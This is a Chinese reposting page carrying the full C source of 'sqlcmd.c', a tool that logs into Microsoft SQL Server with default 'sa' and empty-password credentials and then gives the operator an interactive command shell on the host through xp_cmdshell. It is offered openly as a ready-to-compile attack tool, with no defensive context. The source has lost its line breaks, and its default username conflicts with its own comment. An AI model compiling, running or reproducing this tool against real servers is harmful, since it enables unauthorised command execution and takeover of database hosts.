注册
登录
| 关键词： nbsp login mslogin printf database return include HOST define dbd |
/* sqlcmd.c WWW.EXCLUDED.ORG - l0om - l0om a7 excluded d07 org connect to mssql server and spawn a shell via master..xp_cmdshell 'command' - default user "sa" - default pwd "" sqlcmd <hostname:port> [options] -u: username [def:sa]-p: password [def:] -d: use database -h: help-v: verbose badass@linux:/home/sirownalot> gcc -o sqlcmd sqlcmd.c -lsybdb */ #include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <signal.h>#include <sys/stat.h>#include <sys/types.h>#include <sybfront.h>#include <sybdb.h>#include <stdio.h> #define MAX_HOST 40#define MAX_BUFF 256#define PROMPT "sqlcmd> " #define DEFAULTHST "127.0.0.1:1433"#define DEFAULTUID "su"#define DEFAULTPWD ""#define FGREEN "\033[0;32m"#define FNORMAL "\033[0;38m"#define FRED "\033[0;31m" struct mssql_login { char host[MAX_HOST]; char *uid; char *pwd; char *database;}; int set_paranoia(void *addr, size_t nlen, mode_t mask);int sql_cmd(DBPROCESS *dbd);void set_login_defaults(struct mssql_login *login);void help(char *usage);static void sig_int(int sig); int main(int argc, char **argv){ int i, verbose = 0; char buf[MAX_BUFF], cmdbuf[MAX_BUFF]; struct mssql_login mslogin; LOGINREC *login; DBPROCESS *dbd; if(dbinit() == FAIL) {fprintf(stderr, "dbinit failed\n");return(1); } else login = dblogin(); if(login == NULL) {fprintf(stderr, "cannot allocate structur\n");return(1); } else set_login_defaults(&mslogin); if(argc > 1)for(i = 1; i < argc; i++) if(argv[i][0] == '-') switch(argv[i][1]) { case 'h': help(argv[0]);exit(0); case 'u':mslogin.uid = argv[++i];break; case 'p':mslogin.pwd = argv[++i];break; case 'd':mslogin.database = argv[++i];break; case 'v':verbose = 1;break; default:printf("unknown option >>%s<<\n",argv[i]);return(1);} else { memcpy(mslogin.host, argv[i], MAX_HOST); if(strchr(mslogin.host, ':') == NULL) {fprintf(stderr, "wrong host syntax! <hostname:port>\n");return(1); }} if(!getuid()) // if we are root set paranoia settings ;)if(!set_paranoia((LOGINREC *)&login, sizeof(LOGINREC), 022)) fprintf(stderr, "[warning]: paranoia settings faild\n");else printf("[note]: paranoia settings set\n"); DBSETLUSER(login, mslogin.uid); DBSETLPWD(login, mslogin.pwd); DBSETLAPP(login, "sqlcmd"); DBSETLHOST(login, mslogin.host); if(verbose) printf("verbose: username:%s password:%s host:%s\n\n",mslogin.uid, mslogin.pwd, mslogin.host); if( (dbd = dbopen(login, mslogin.host)) == NULL) { fprintf(stderr, "%sfailed to connect to %s!%s\n",FRED,mslogin.host,FNORMAL);return(1); } else printf("%sconnected to host %s as user %s!\nexit with CTRL+C\n%s\n",FGREEN,mslogin.host,mslogin.uid,FNORMAL); if(mslogin.database != NULL)if(dbuse(dbd, mslogin.database) == FAIL) fprintf(stderr, "cannot change to %s\n",mslogin.database); else if(verbose) printf("using database %s\n",mslogin.database); if(signal(SIGINT, sig_int) == SIG_ERR) fprintf(stderr, "cannot install signalhandler\n"); i = sql_cmd(dbd); dbclose(dbd); dbfreebuf(dbd); dbexit(); return(i);} int sql_cmd(DBPROCESS *dbd) { char cmdbuf[MAX_BUFF], buf[MAX_BUFF]; while(1) {memset(cmdbuf, 0x00, MAX_BUFF);printf(PROMPT); fflush(stdout);if(read(0, cmdbuf, MAX_BUFF)==-1) { perror("read"); return(1);} else dbfcmd(dbd, "exec master..xp_cmdshell '%s'",cmdbuf); if(dbsqlexec(dbd) == FAIL || dbresults(dbd) == FAIL) fprintf(stderr, "error while dbsqlexec\n"); else dbbind(dbd, 1, NTBSTRINGBIND, 0, (BYTE *)&buf); while(dbnextrow(dbd) != NO_MORE_ROWS) printf("%s\n",buf); } return(0);} int set_paranoia(void *addr, size_t nlen, mode_t mask){ if(addr != NULL)if(mlock(addr, nlen)) return(0); if(mask != 0)umask(mask); if(setuid(65534))return(0); return(1);} void set_login_defaults(struct mssql_login *login){ memcpy(login->host, DEFAULTHST, MAX_HOST); login->uid=DEFAULTUID; login->pwd=DEFAULTPWD; login->database=NULL; //Northwind?!} static void sig_int(int sig){ printf(FRED); printf("\n\n\t EXITING...\n"); printf(FNORMAL); dbexit(); sleep(1); exit(0);} void help(char *usage){ printf("%s <hostname:port> [options]\n",usage); printf("-u: username [def:sa]\n"); printf("-p: password [def:]\n"); printf("-d: use database\n"); printf("-h: help\n"); printf("-v: verbose\n");} |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
